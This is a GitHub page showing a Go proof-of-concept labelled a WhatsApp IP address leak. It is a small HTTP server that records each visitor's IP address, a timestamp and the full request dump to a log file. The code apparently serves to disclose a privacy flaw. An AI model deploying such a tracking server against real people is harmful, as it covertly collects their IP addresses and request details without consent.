-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.go
82 lines (67 loc) · 1.55 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/*
// WhatsApp IP address leak.
// Proof-of-Concept.
//
// Usage: make build
//
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
// Mark M. 2018.
*/
package main
import (
"fmt"
"html/template"
"log"
"net"
"net/http"
"net/http/httputil"
"os"
"time"
)
type LeakData struct {
Timestamp string
IP string
}
var Log *log.Logger
func logToFile(logPath string) {
file, err := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
panic(err)
}
Log = log.New(file, "", 0)
}
func leakIP(w http.ResponseWriter, r *http.Request) {
var Data LeakData
form := template.Must(template.ParseFiles("index.html"))
Data.Timestamp = time.Now().Format("02/01/2006 15:04:05")
Data.IP, _, _ = net.SplitHostPort(r.RemoteAddr)
form.Execute(w, Data)
requestDump, err := httputil.DumpRequest(r, true)
if err != nil {
fmt.Println(err)
}
if _, ok := os.LookupEnv("DOCKER"); ok {
fmt.Printf("%s - %s\n", Data.Timestamp, Data.IP)
fmt.Printf("%s", string(requestDump))
} else {
Log.Printf("%s - %s", Data.Timestamp, Data.IP)
Log.Printf("%s", string(requestDump))
}
}
func favicon(w http.ResponseWriter, r *http.Request) {
// Empty handler for favicon.ico requests
// Will be useful later
}
func main() {
var server http.Server
if value, ok := os.LookupEnv("W_LEAK_PORT"); ok {
server.Addr = ":" + value
} else {
server.Addr = ":8080"
}
logToFile("visitors.log")
http.HandleFunc("/", leakIP)
http.HandleFunc("/favicon.ico", favicon)
log.Fatal(server.ListenAndServe())
}